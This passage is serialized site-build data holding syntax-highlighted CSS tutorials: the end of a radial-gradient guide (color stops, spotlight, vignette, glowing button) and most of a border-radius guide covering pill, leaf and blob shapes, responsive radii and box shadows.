sizes:",[135,73404,73406],{"className":1554,"code":73405,"language":1556,"meta":141,"style":141},"\u002F* Pixel-based sizing (circle) *\u002F\nbackground: radial-gradient(circle 150px at 50% 50%, #3B82F6, #1E3A5F);\n\n\u002F* Percentage-based sizing (ellipse) *\u002F\nbackground: radial-gradient(ellipse 80% 50% at 50% 50%, #3B82F6, #1E3A5F);\n",[143,73407,73408,73413,73430,73434,73439],{"__ignoreMap":141},[1560,73409,73410],{"class":1562,"line":1563},[1560,73411,73412],{"class":1649},"\u002F* Pixel-based sizing (circle) *\u002F\n",[1560,73414,73415,73417,73419,73422,73424,73426,73428],{"class":1562,"line":337},[1560,73416,59910],{"class":1570},[1560,73418,12295],{"class":2484},[1560,73420,73421],{"class":1570}," 150px at 50% 50%, ",[1560,73423,2260],{"class":5159},[1560,73425,1459],{"class":1570},[1560,73427,59917],{"class":5159},[1560,73429,1744],{"class":1570},[1560,73431,73432],{"class":1562,"line":343},[1560,73433,1702],{"emptyLinePlaceholder":363},[1560,73435,73436],{"class":1562,"line":365},[1560,73437,73438],{"class":1649},"\u002F* Percentage-based sizing (ellipse) *\u002F\n",[1560,73440,73441,73443,73445,73447,73449,73451,73453],{"class":1562,"line":889},[1560,73442,59910],{"class":1570},[1560,73444,18073],{"class":2484},[1560,73446,59963],{"class":1570},[1560,73448,2260],{"class":5159},[1560,73450,1459],{"class":1570},[1560,73452,59917],{"class":5159},[1560,73454,1744],{"class":1570},[11,73456,73458],{"id":73457},"color-stops","Color Stops",[16,73460,73461],{},"Color stops work the same way as in linear gradients:",[135,73463,73465],{"className":1554,"code":73464,"language":1556,"meta":141,"style":141},"\u002F* Multi-stop radial *\u002F\nbackground: radial-gradient(\n  circle,\n  #FBBF24 0%,\n  #F59E0B 30%,\n  #D97706 60%,\n  #92400E 100%\n);\n\n\u002F* Hard-edge stop for ring effects *\u002F\nbackground: radial-gradient(\n  circle,\n  #3B82F6 0% 40%,\n  #1E3A5F 40% 100%\n);\n",[143,73466,73467,73472,73477,73483,73490,73497,73505,73512,73516,73520,73525,73529,73535,73542,73549],{"__ignoreMap":141},[1560,73468,73469],{"class":1562,"line":1563},[1560,73470,73471],{"class":1649},"\u002F* Multi-stop radial *\u002F\n",[1560,73473,73474],{"class":1562,"line":337},[1560,73475,73476],{"class":1570},"background: radial-gradient(\n",[1560,73478,73479,73481],{"class":1562,"line":343},[1560,73480,60410],{"class":2484},[1560,73482,11943],{"class":1570},[1560,73484,73485,73488],{"class":1562,"line":365},[1560,73486,73487],{"class":1566},"  #FBBF24",[1560,73489,68702],{"class":1570},[1560,73491,73492,73494],{"class":1562,"line":889},[1560,73493,60224],{"class":1566},[1560,73495,73496],{"class":1570}," 30%,\n",[1560,73498,73499,73502],{"class":1562,"line":1710},[1560,73500,73501],{"class":1566},"  #D97706",[1560,73503,73504],{"class":1570}," 60%,\n",[1560,73506,73507,73510],{"class":1562,"line":1717},[1560,73508,73509],{"class":5159},"  #92400E",[1560,73511,68725],{"class":1570},[1560,73513,73514],{"class":1562,"line":1747},[1560,73515,1744],{"class":1570},[1560,73517,73518],{"class":1562,"line":2507},[1560,73519,1702],{"emptyLinePlaceholder":363},[1560,73521,73522],{"class":1562,"line":2524},[1560,73523,73524],{"class":1649},"\u002F* Hard-edge stop for ring effects *\u002F\n",[1560,73526,73527],{"class":1562,"line":2529},[1560,73528,73476],{"class":1570},[1560,73530,73531,73533],{"class":1562,"line":2534},[1560,73532,60410],{"class":2484},[1560,73534,11943],{"class":1570},[1560,73536,73537,73539],{"class":1562,"line":2542},[1560,73538,60208],{"class":5159},[1560,73540,73541],{"class":1570}," 0% 40%,\n",[1560,73543,73544,73546],{"class":1562,"line":2558},[1560,73545,60429],{"class":5159},[1560,73547,73548],{"class":1570}," 40% 100%\n",[1560,73550,73551],{"class":1562,"line":2570},[1560,73552,1744],{"class":1570},[16,73554,73555],{},"When two stops share the same position, the transition becomes a hard edge — useful for creating rings, targets, and bullseye patterns.",[11,73557,46587],{"id":46586},[33,73559,73561],{"id":73560},"spotlight-effect","Spotlight Effect",[135,73563,73565],{"className":1554,"code":73564,"language":1556,"meta":141,"style":141},".spotlight {\n  background: radial-gradient(\n    circle 300px at 70% 30%,\n    rgba(59, 130, 246, 0.15),\n    transparent\n  );\n}\n",[143,73566,73567,73574,73584,73605,73627,73632,73636],{"__ignoreMap":141},[1560,73568,73569,73572],{"class":1562,"line":1563},[1560,73570,73571],{"class":1566},".spotlight",[1560,73573,1571],{"class":1570},[1560,73575,73576,73578,73580,73582],{"class":1562,"line":337},[1560,73577,5665],{"class":1576},[1560,73579,1663],{"class":1570},[1560,73581,60869],{"class":1576},[1560,73583,35957],{"class":1570},[1560,73585,73586,73589,73591,73593,73595,73597,73599,73601,73603],{"class":1562,"line":343},[1560,73587,73588],{"class":1576},"    circle",[1560,73590,32452],{"class":1576},[1560,73592,1670],{"class":1669},[1560,73594,47218],{"class":1669},[1560,73596,35515],{"class":1576},[1560,73598,17990],{"class":1669},[1560,73600,35504],{"class":1576},[1560,73602,17990],{"class":1669},[1560,73604,11943],{"class":1570},[1560,73606,73607,73609,73611,73613,73615,73617,73619,73621,73623,73625],{"class":1562,"line":365},[1560,73608,56381],{"class":1576},[1560,73610,1688],{"class":1570},[1560,73612,19995],{"class":1576},[1560,73614,1459],{"class":1570},[1560,73616,20000],{"class":1576},[1560,73618,1459],{"class":1570},[1560,73620,20005],{"class":1576},[1560,73622,1459],{"class":1570},[1560,73624,19693],{"class":1576},[1560,73626,19216],{"class":1570},[1560,73628,73629],{"class":1562,"line":889},[1560,73630,73631],{"class":1576},"    transparent\n",[1560,73633,73634],{"class":1562,"line":1710},[1560,73635,36075],{"class":1570},[1560,73637,73638],{"class":1562,"line":1717},[1560,73639,1585],{"class":1570},[33,73641,73643],{"id":73642},"vignette-overlay","Vignette Overlay",[135,73645,73647],{"className":1554,"code":73646,"language":1556,"meta":141,"style":141},".vignette {\n  background: radial-gradient(\n    ellipse at center,\n    transparent 50%,\n    rgba(0, 0, 0, 0.4) 100%\n  );\n}\n",[143,73648,73649,73656,73666,73677,73687,73714,73718],{"__ignoreMap":141},[1560,73650,73651,73654],{"class":1562,"line":1563},[1560,73652,73653],{"class":1566},".vignette",[1560,73655,1571],{"class":1570},[1560,73657,73658,73660,73662,73664],{"class":1562,"line":337},[1560,73659,5665],{"class":1576},[1560,73661,1663],{"class":1570},[1560,73663,60869],{"class":1576},[1560,73665,35957],{"class":1570},[1560,73667,73668,73671,73673,73675],{"class":1562,"line":343},[1560,73669,73670],{"class":1576},"    ellipse",[1560,73672,47218],{"class":1669},[1560,73674,52055],{"class":1576},[1560,73676,11943],{"class":1570},[1560,73678,73679,73681,73683,73685],{"class":1562,"line":365},[1560,73680,56370],{"class":1576},[1560,73682,18318],{"class":1576},[1560,73684,17990],{"class":1669},[1560,73686,11943],{"class":1570},[1560,73688,73689,73691,73693,73695,73697,73699,73701,73703,73705,73708,73710,73712],{"class":1562,"line":889},[1560,73690,56381],{"class":1576},[1560,73692,1688],{"class":1570},[1560,73694,5285],{"class":1576},[1560,73696,1459],{"class":1570},[1560,73698,5285],{"class":1576},[1560,73700,1459],{"class":1570},[1560,73702,5285],{"class":1576},[1560,73704,1459],{"class":1570},[1560,73706,73707],{"class":1576},"0.4",[1560,73709,1733],{"class":1570},[1560,73711,18114],{"class":1576},[1560,73713,36070],{"class":1669},[1560,73715,73716],{"class":1562,"line":1710},[1560,73717,36075],{"class":1570},[1560,73719,73720],{"class":1562,"line":1717},[1560,73721,1585],{"class":1570},[33,73723,73725],{"id":73724},"glowing-button","Glowing Button",[135,73727,73729],{"className":1554,"code":73728,"language":1556,"meta":141,"style":141},".glow-btn {\n  background: radial-gradient(circle, #8B5CF6, #6D28D9);\n  box-shadow: 0 0 30px rgba(139, 92, 246, 0.4);\n}\n",[143,73730,73731,73738,73761,73797],{"__ignoreMap":141},[1560,73732,73733,73736],{"class":1562,"line":1563},[1560,73734,73735],{"class":1566},".glow-btn",[1560,73737,1571],{"class":1570},[1560,73739,73740,73742,73744,73746,73748,73750,73752,73754,73756,73759],{"class":1562,"line":337},[1560,73741,5665],{"class":1576},[1560,73743,1663],{"class":1570},[1560,73745,60869],{"class":1576},[1560,73747,1688],{"class":1570},[1560,73749,12295],{"class":1576},[1560,73751,1459],{"class":1570},[1560,73753,55458],{"class":1576},[1560,73755,1459],{"class":1570},[1560,73757,73758],{"class":1576},"#6D28D9",[1560,73760,1744],{"class":1570},[1560,73762,73763,73765,73767,73769,73771,73773,73775,73777,73779,73782,73784,73787,73789,73791,73793,73795],{"class":1562,"line":343},[1560,73764,18679],{"class":1576},[1560,73766,1663],{"class":1570},[1560,73768,5285],{"class":1576},[1560,73770,13541],{"class":1576},[1560,73772,35504],{"class":1576},[1560,73774,1670],{"class":1669},[1560,73776,18694],{"class":1576},[1560,73778,1688],{"class":1570},[1560,73780,73781],{"class":1576},"139",[1560,73783,1459],{"class":1570},[1560,73785,73786],{"class":1576},"92",[1560,73788,1459],{"class":1570},[1560,73790,20005],{"class":1576},[1560,73792,1459],{"class":1570},[1560,73794,73707],{"class":1576},[1560,73796,1744],{"class":1570},[1560,73798,73799],{"class":1562,"line":365},[1560,73800,1585],{"class":1570},[33,73802,73804],{"id":73803},"radial-progress-ring-with-conic-gradient","Radial Progress Ring (with conic gradient)",[16,73806,73807,73808,73810],{},"Combine with ",[143,73809,53023],{}," for a progress indicator — the radial gradient handles the background while the conic handles the arc.",[11,73812,2341],{"id":2340},[41,73814,73815,73825,73833],{},[44,73816,73817,73822,73823,468],{},[47,73818,18204,73819,73821],{},[143,73820,12295],{}," on wide containers without sizing"," — the gradient stretches unpredictably. Always set an explicit size or use ",[143,73824,60012],{},[44,73826,73827,73832],{},[47,73828,54220,73829,73831],{},[143,73830,47251],{}," at the edge"," — without it, the outermost color fills the remaining space as a solid block.",[44,73834,73835,73838],{},[47,73836,73837],{},"Overlapping too many radial gradients"," — stacking three or more can hurt readability and GPU performance on mobile.",[11,73840,1355],{"id":1354},[41,73842,73843,73846,73854,73860,73868,73871],{},[44,73844,73845],{},"Radial gradients radiate from a center point, creating circles or ellipses",[44,73847,1388,73848,73850,73851,73853],{},[143,73849,12295],{}," for uniform radius, ",[143,73852,18073],{}," (default) for container-filling shapes",[44,73855,73856,73857,73859],{},"Position the center with ",[143,73858,52885],{}," for off-center light effects",[44,73861,73862,73863,1856,73865,73867],{},"Size keywords like ",[143,73864,60012],{},[143,73866,60022],{}," control the gradient spread",[44,73869,73870],{},"Hard-edge stops create ring and target patterns",[44,73872,73873],{},"Combine radial gradients with shadows and transparency for polished UI effects",[11,73875,321],{"id":320},[41,73877,73878,73882,73886],{},[44,73879,73880],{},[98,73881,56827],{"href":56826},[44,73883,73884],{},[98,73885,56834],{"href":56833},[44,73887,73888],{},[98,73889,49355],{"href":49354},[11,73891,286],{"id":285},[16,73893,73894,73895,73897],{},"Build and preview radial gradients interactively with our ",[98,73896,18583],{"href":18582},". Adjust shape, position, and color stops, then copy the generated code into your project.",[2043,73899,73900],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s7hpK, html code.shiki .s7hpK{--shiki-default:#B31D28;--shiki-default-font-style:italic;--shiki-dark:#FDAEB7;--shiki-dark-font-style:italic}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}",{"title":141,"searchDepth":337,"depth":337,"links":73902},[73903,73904,73905,73906,73907,73908,73909,73915,73916,73917,73918],{"id":72946,"depth":337,"text":72947},{"id":60968,"depth":337,"text":60969},{"id":73039,"depth":337,"text":73040},{"id":60056,"depth":337,"text":60057},{"id":73296,"depth":337,"text":73297},{"id":73457,"depth":337,"text":73458},{"id":46586,"depth":337,"text":46587,"children":73910},[73911,73912,73913,73914],{"id":73560,"depth":343,"text":73561},{"id":73642,"depth":343,"text":73643},{"id":73724,"depth":343,"text":73725},{"id":73803,"depth":343,"text":73804},{"id":2340,"depth":337,"text":2341},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Learn how to create CSS radial gradients — circles, ellipses, positioning, sizing, and design patterns for modern web interfaces.",{"immutable":363},"\u002Fguides\u002Fcss-radial-gradients-tutorial",{"title":72941,"description":73919},"guides\u002Fcss-radial-gradients-tutorial","4RqiqSQjyLB2qTb1-Cpc2dKYwQA-WUw3IuZ_MKBmR90",{"id":73926,"title":18598,"body":73927,"date":2070,"description":74815,"extension":361,"meta":74816,"navigation":363,"path":18597,"readingTime":1710,"seo":74817,"stem":74818,"__hash__":74819},"guides\u002Fguides\u002Fcss-rounded-corners-tutorial.md",{"type":8,"value":73928,"toc":74792},[73929,73933,73939,73943,73946,73973,73976,73980,74030,74034,74037,74077,74080,74084,74095,74106,74110,74113,74156,74161,74165,74202,74207,74211,74214,74307,74315,74318,74322,74336,74340,74343,74371,74378,74383,74421,74424,74428,74431,74528,74532,74547,74551,74681,74684,74688,74694,74733,74738,74740,74778,74780,74789],[11,73930,73932],{"id":73931},"rounded-corners-make-everything-better","Rounded Corners Make Everything Better",[16,73934,73935,73936,73938],{},"Sharp 90-degree corners look dated. A subtle ",[143,73937,16947],{}," softens edges, signals affordance on buttons, and adds visual polish to any container. This tutorial walks you from basic rounded corners to organic blob shapes — with code you can copy straight into your project.",[11,73940,73942],{"id":73941},"basic-rounded-corners","Basic Rounded Corners",[16,73944,73945],{},"The simplest case: one value rounds every corner by the same amount.",[135,73947,73949],{"className":1554,"code":73948,"language":1556,"meta":141,"style":141},".card {\n  border-radius: 12px;\n}\n",[143,73950,73951,73957,73969],{"__ignoreMap":141},[1560,73952,73953,73955],{"class":1562,"line":1563},[1560,73954,1567],{"class":1566},[1560,73956,1571],{"class":1570},[1560,73958,73959,73961,73963,73965,73967],{"class":1562,"line":337},[1560,73960,17294],{"class":1576},[1560,73962,1663],{"class":1570},[1560,73964,13566],{"class":1576},[1560,73966,1670],{"class":1669},[1560,73968,2228],{"class":1570},[1560,73970,73971],{"class":1562,"line":343},[1560,73972,1585],{"class":1570},[16,73974,73975],{},"12–16px is the sweet spot for cards. Use 6–8px for buttons and inputs. The rounding stays consistent regardless of element size because pixel values are fixed.",[33,73977,73979],{"id":73978},"unit-quick-reference","Unit Quick Reference",[193,73981,73982,73992],{},[196,73983,73984],{},[199,73985,73986,73988,73990],{},[202,73987,17957],{},[202,73989,17960],{},[202,73991,489],{},[211,73993,73994,74006,74018],{},[199,73995,73996,74000,74003],{},[216,73997,73998],{},[143,73999,1670],{},[216,74001,74002],{},"Fixed radius",[216,74004,74005],{},"Buttons, cards, inputs",[199,74007,74008,74012,74015],{},[216,74009,74010],{},[143,74011,17990],{},[216,74013,74014],{},"Relative to element size",[216,74016,74017],{},"Circles, responsive shapes",[199,74019,74020,74024,74027],{},[216,74021,74022],{},[143,74023,7310],{},[216,74025,74026],{},"Relative to font size",[216,74028,74029],{},"Elements scaled by text size",[11,74031,74033],{"id":74032},"asymmetric-corners","Asymmetric Corners",[16,74035,74036],{},"Four different values give each corner its own personality. The order is clockwise: top-left, top-right, bottom-right, bottom-left.",[135,74038,74040],{"className":1554,"code":74039,"language":1556,"meta":141,"style":141},".asymmetric-card {\n  border-radius: 24px 4px 24px 4px;\n}\n",[143,74041,74042,74049,74073],{"__ignoreMap":141},[1560,74043,74044,74047],{"class":1562,"line":1563},[1560,74045,74046],{"class":1566},".asymmetric-card",[1560,74048,1571],{"class":1570},[1560,74050,74051,74053,74055,74057,74059,74061,74063,74065,74067,74069,74071],{"class":1562,"line":337},[1560,74052,17294],{"class":1576},[1560,74054,1663],{"class":1570},[1560,74056,61489],{"class":1576},[1560,74058,1670],{"class":1669},[1560,74060,13574],{"class":1576},[1560,74062,1670],{"class":1669},[1560,74064,18193],{"class":1576},[1560,74066,1670],{"class":1669},[1560,74068,13574],{"class":1576},[1560,74070,1670],{"class":1669},[1560,74072,2228],{"class":1570},[1560,74074,74075],{"class":1562,"line":343},[1560,74076,1585],{"class":1570},[16,74078,74079],{},"This creates a \"ticket stub\" look — two prominent curves on the left and right edges with tight corners top-right and bottom-left. It works well for promo badges, tags, and feature callouts.",[33,74081,74083],{"id":74082},"when-to-go-asymmetric","When to Go Asymmetric",[41,74085,74086,74089,74092],{},[44,74087,74088],{},"Draw attention to one corner of a card",[44,74090,74091],{},"Create visual rhythm in a list of items",[44,74093,74094],{},"Mimic physical objects like tags or folded paper",[16,74096,74097,74098,74101,74102,74105],{},"Avoid mixing more than two radius values in a single component. A ",[143,74099,74100],{},"24px 4px 24px 4px"," pattern reads as intentional. A ",[143,74103,74104],{},"24px 8px 16px 4px"," pattern reads as a mistake.",[11,74107,74109],{"id":74108},"pill-and-stadium-shapes","Pill and Stadium Shapes",[16,74111,74112],{},"When the radius equals or exceeds half the element height, the corners meet in the middle — producing a pill shape.",[135,74114,74116],{"className":1554,"code":74115,"language":1556,"meta":141,"style":141},".pill-button {\n  border-radius: 9999px;\n  padding: 10px 24px;\n}\n",[143,74117,74118,74124,74136,74152],{"__ignoreMap":141},[1560,74119,74120,74122],{"class":1562,"line":1563},[1560,74121,71850],{"class":1566},[1560,74123,1571],{"class":1570},[1560,74125,74126,74128,74130,74132,74134],{"class":1562,"line":337},[1560,74127,17294],{"class":1576},[1560,74129,1663],{"class":1570},[1560,74131,16895],{"class":1576},[1560,74133,1670],{"class":1669},[1560,74135,2228],{"class":1570},[1560,74137,74138,74140,74142,74144,74146,74148,74150],{"class":1562,"line":343},[1560,74139,18186],{"class":1576},[1560,74141,1663],{"class":1570},[1560,74143,36197],{"class":1576},[1560,74145,1670],{"class":1669},[1560,74147,18193],{"class":1576},[1560,74149,1670],{"class":1669},[1560,74151,2228],{"class":1570},[1560,74153,74154],{"class":1562,"line":365},[1560,74155,1585],{"class":1570},[16,74157,18204,74158,74160],{},[143,74159,16808],{}," (or any very large value) guarantees a pill regardless of the element's actual height. You never need to calculate half-height manually.",[33,74162,74164],{"id":74163},"pill-vs-circle","Pill vs Circle",[193,74166,74167,74178],{},[196,74168,74169],{},[199,74170,74171,74173,74176],{},[202,74172,36766],{},[202,74174,74175],{},"Condition",[202,74177,133],{},[211,74179,74180,74190],{},[199,74181,74182,74184,74187],{},[216,74183,36775],{},[216,74185,74186],{},"Large radius, non-square element",[216,74188,74189],{},"Wider-than-tall button",[199,74191,74192,74194,74199],{},[216,74193,18006],{},[216,74195,74196,74198],{},[143,74197,52966],{}," on a square element",[216,74200,74201],{},"Avatar image",[16,74203,74204,74205,468],{},"A pill stretches horizontally or vertically. A circle requires equal width and height plus ",[143,74206,18012],{},[11,74208,74210],{"id":74209},"leaf-and-blob-shapes","Leaf and Blob Shapes",[16,74212,74213],{},"Push the slash syntax further and you create organic, leaf-like shapes. The slash separates horizontal from vertical radii.",[135,74215,74217],{"className":1554,"code":74216,"language":1556,"meta":141,"style":141},".leaf {\n  border-radius: 0 50% 50% 50%;\n}\n\n.blob {\n  border-radius: 60% 40% 50% 70% \u002F 50% 60% 40% 50%;\n}\n",[143,74218,74219,74225,74247,74251,74255,74261,74303],{"__ignoreMap":141},[1560,74220,74221,74223],{"class":1562,"line":1563},[1560,74222,18224],{"class":1566},[1560,74224,1571],{"class":1570},[1560,74226,74227,74229,74231,74233,74235,74237,74239,74241,74243,74245],{"class":1562,"line":337},[1560,74228,17294],{"class":1576},[1560,74230,1663],{"class":1570},[1560,74232,5285],{"class":1576},[1560,74234,18318],{"class":1576},[1560,74236,17990],{"class":1669},[1560,74238,18318],{"class":1576},[1560,74240,17990],{"class":1669},[1560,74242,18318],{"class":1576},[1560,74244,17990],{"class":1669},[1560,74246,2228],{"class":1570},[1560,74248,74249],{"class":1562,"line":343},[1560,74250,1585],{"class":1570},[1560,74252,74253],{"class":1562,"line":365},[1560,74254,1702],{"emptyLinePlaceholder":363},[1560,74256,74257,74259],{"class":1562,"line":889},[1560,74258,35715],{"class":1566},[1560,74260,1571],{"class":1570},[1560,74262,74263,74265,74267,74269,74271,74273,74275,74277,74279,74281,74283,74285,74287,74289,74291,74293,74295,74297,74299,74301],{"class":1562,"line":1710},[1560,74264,17294],{"class":1576},[1560,74266,1663],{"class":1570},[1560,74268,18333],{"class":1576},[1560,74270,17990],{"class":1669},[1560,74272,18343],{"class":1576},[1560,74274,17990],{"class":1669},[1560,74276,18318],{"class":1576},[1560,74278,17990],{"class":1669},[1560,74280,35515],{"class":1576},[1560,74282,17990],{"class":1669},[1560,74284,14237],{"class":1570},[1560,74286,18059],{"class":1576},[1560,74288,17990],{"class":1669},[1560,74290,18338],{"class":1576},[1560,74292,17990],{"class":1669},[1560,74294,18343],{"class":1576},[1560,74296,17990],{"class":1669},[1560,74298,18318],{"class":1576},[1560,74300,17990],{"class":1669},[1560,74302,2228],{"class":1570},[1560,74304,74305],{"class":1562,"line":1717},[1560,74306,1585],{"class":1570},[16,74308,421,74309,74311,74312,74314],{},[143,74310,18224],{}," class rounds three corners and leaves one sharp — producing a teardrop or leaf silhouette. The ",[143,74313,35715],{}," class uses eight independent values (four horizontal, four vertical) for an organic, asymmetrical blob.",[16,74316,74317],{},"Blob shapes pair well with solid background colors or subtle gradients. Avoid putting text inside a blob unless the container is large — the curved edges eat into the readable area quickly.",[33,74319,74321],{"id":74320},"rule-of-thumb","Rule of Thumb",[41,74323,74324,74327,74330,74333],{},[44,74325,74326],{},"Leaf shape: round 3 corners, leave 1 sharp",[44,74328,74329],{},"Blob shape: use different percentages for every value",[44,74331,74332],{},"Keep all blob percentages between 25% and 75% for pleasing results",[44,74334,74335],{},"Always test with actual content — blobs compress inner space",[11,74337,74339],{"id":74338},"responsive-border-radius","Responsive Border Radius",[16,74341,74342],{},"Percentage-based radii scale with the element. This matters when components resize across breakpoints.",[135,74344,74346],{"className":1554,"code":74345,"language":1556,"meta":141,"style":141},".responsive-card {\n  border-radius: 5%;\n}\n",[143,74347,74348,74355,74367],{"__ignoreMap":141},[1560,74349,74350,74353],{"class":1562,"line":1563},[1560,74351,74352],{"class":1566},".responsive-card",[1560,74354,1571],{"class":1570},[1560,74356,74357,74359,74361,74363,74365],{"class":1562,"line":337},[1560,74358,17294],{"class":1576},[1560,74360,1663],{"class":1570},[1560,74362,13431],{"class":1576},[1560,74364,17990],{"class":1669},[1560,74366,2228],{"class":1570},[1560,74368,74369],{"class":1562,"line":343},[1560,74370,1585],{"class":1570},[16,74372,74373,74374,74377],{},"On a 400px-wide card, ",[143,74375,74376],{},"5%"," equals 20px. On a 600px card, it equals 30px. The rounding grows proportionally, keeping the visual weight consistent.",[16,74379,74380,74381,8037],{},"If the rounding feels too aggressive on large screens, cap it with ",[143,74382,63989],{},[135,74384,74386],{"className":1554,"code":74385,"language":1556,"meta":141,"style":141},".responsive-capped {\n  border-radius: min(5%, 24px);\n}\n",[143,74387,74388,74395,74417],{"__ignoreMap":141},[1560,74389,74390,74393],{"class":1562,"line":1563},[1560,74391,74392],{"class":1566},".responsive-capped",[1560,74394,1571],{"class":1570},[1560,74396,74397,74399,74401,74403,74405,74407,74409,74411,74413,74415],{"class":1562,"line":337},[1560,74398,17294],{"class":1576},[1560,74400,1663],{"class":1570},[1560,74402,28995],{"class":1576},[1560,74404,1688],{"class":1570},[1560,74406,13431],{"class":1576},[1560,74408,17990],{"class":1669},[1560,74410,1459],{"class":1570},[1560,74412,61489],{"class":1576},[1560,74414,1670],{"class":1669},[1560,74416,1744],{"class":1570},[1560,74418,74419],{"class":1562,"line":343},[1560,74420,1585],{"class":1570},[16,74422,74423],{},"This scales the radius up to 24px, then stops. You get responsive behavior on small screens and a fixed cap on large ones.",[11,74425,74427],{"id":74426},"combining-with-box-shadow","Combining with Box Shadow",[16,74429,74430],{},"Rounded corners and box shadows amplify each other. A rounded card with layered shadows looks elevated and tactile.",[135,74432,74434],{"className":1554,"code":74433,"language":1556,"meta":141,"style":141},".elevated-card {\n  border-radius: 16px;\n  box-shadow:\n    0 1px 3px rgba(0, 0, 0, 0.08),\n    0 8px 24px rgba(0, 0, 0, 0.12);\n}\n",[143,74435,74436,74442,74454,74460,74492,74524],{"__ignoreMap":141},[1560,74437,74438,74440],{"class":1562,"line":1563},[1560,74439,55494],{"class":1566},[1560,74441,1571],{"class":1570},[1560,74443,74444,74446,74448,74450,74452],{"class":1562,"line":337},[1560,74445,17294],{"class":1576},[1560,74447,1663],{"class":1570},[1560,74449,10057],{"class":1576},[1560,74451,1670],{"class":1669},[1560,74453,2228],{"class":1570},[1560,74455,74456,74458],{"class":1562,"line":343},[1560,74457,18679],{"class":1576},[1560,74459,19182],{"class":1570},[1560,74461,74462,74464,74466,74468,74470,74472,74474,74476,74478,74480,74482,74484,74486,74488,74490],{"class":1562,"line":365},[1560,74463,19187],{"class":1576},[1560,74465,18868],{"class":1576},[1560,74467,1670],{"class":1669},[1560,74469,48433],{"class":1576},[1560,74471,1670],{"class":1669},[1560,74473,18694],{"class":1576},[1560,74475,1688],{"class":1570},[1560,74477,5285],{"class":1576},[1560,74479,1459],{"class":1570},[1560,74481,5285],{"class":1576},[1560,74483,1459],{"class":1570},[1560,74485,5285],{"class":1576},[1560,74487,1459],{"class":1570},[1560,74489,18711],{"class":1576},[1560,74491,19216],{"class":1570},[1560,74493,74494,74496,74498,74500,74502,74504,74506,74508,74510,74512,74514,74516,74518,74520,74522],{"class":1562,"line":889},[1560,74495,19187],{"class":1576},[1560,74497,13490],{"class":1576},[1560,74499,1670],{"class":1669},[1560,74501,18193],{"class":1576},[1560,74503,1670],{"class":1669},[1560,74505,18694],{"class":1576},[1560,74507,1688],{"class":1570},[1560,74509,5285],{"class":1576},[1560,74511,1459],{"class":1570},[1560,74513,5285],{"class":1576},[1560,74515,1459],{"class":1570},[1560,74517,5285],{"class":1576},[1560,74519,1459],{"class":1570},[1560,74521,18782],{"class":1576},[1560,74523,1744],{"class":1570},[1560,74525,74526],{"class":1562,"line":1710},[1560,74527,1585],{"class":1570},[33,74529,74531],{"id":74530},"shadow-tips-for-rounded-elements","Shadow Tips for Rounded Elements",[41,74533,74534,74537,74540],{},[44,74535,74536],{},"The shadow follows the border-radius — no extra work needed",[44,74538,74539],{},"Tight shadows (small offset) reinforce the edge; diffused shadows (large offset) suggest elevation",[44,74541,74542,74543,74546],{},"In dark mode, increase shadow opacity to ",[143,74544,74545],{},"0.3–0.4"," so shadows remain visible against dark surfaces",[33,74548,74550],{"id":74549},"hover-elevation-effect","Hover Elevation Effect",[135,74552,74554],{"className":1554,"code":74553,"language":1556,"meta":141,"style":141},".hover-card {\n  border-radius: 16px;\n  box-shadow: 0 2px 8px rgba(0, 0, 0, 0.1);\n  transition: box-shadow 0.2s ease;\n}\n\n.hover-card:hover {\n  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.18);\n}\n",[143,74555,74556,74563,74575,74611,74625,74629,74633,74640,74677],{"__ignoreMap":141},[1560,74557,74558,74561],{"class":1562,"line":1563},[1560,74559,74560],{"class":1566},".hover-card",[1560,74562,1571],{"class":1570},[1560,74564,74565,74567,74569,74571,74573],{"class":1562,"line":337},[1560,74566,17294],{"class":1576},[1560,74568,1663],{"class":1570},[1560,74570,10057],{"class":1576},[1560,74572,1670],{"class":1669},[1560,74574,2228],{"class":1570},[1560,74576,74577,74579,74581,74583,74585,74587,74589,74591,74593,74595,74597,74599,74601,74603,74605,74607,74609],{"class":1562,"line":343},[1560,74578,18679],{"class":1576},[1560,74580,1663],{"class":1570},[1560,74582,5285],{"class":1576},[1560,74584,9426],{"class":1576},[1560,74586,1670],{"class":1669},[1560,74588,13490],{"class":1576},[1560,74590,1670],{"class":1669},[1560,74592,18694],{"class":1576},[1560,74594,1688],{"class":1570},[1560,74596,5285],{"class":1576},[1560,74598,1459],{"class":1570},[1560,74600,5285],{"class":1576},[1560,74602,1459],{"class":1570},[1560,74604,5285],{"class":1576},[1560,74606,1459],{"class":1570},[1560,74608,46961],{"class":1576},[1560,74610,1744],{"class":1570},[1560,74612,74613,74615,74617,74619,74621,74623],{"class":1562,"line":365},[1560,74614,18718],{"class":1576},[1560,74616,18721],{"class":1570},[1560,74618,18949],{"class":1576},[1560,74620,18727],{"class":1669},[1560,74622,18730],{"class":1576},[1560,74624,2228],{"class":1570},[1560,74626,74627],{"class":1562,"line":889},[1560,74628,1585],{"class":1570},[1560,74630,74631],{"class":1562,"line":1710},[1560,74632,1702],{"emptyLinePlaceholder":363},[1560,74634,74635,74638],{"class":1562,"line":1717},[1560,74636,74637],{"class":1566},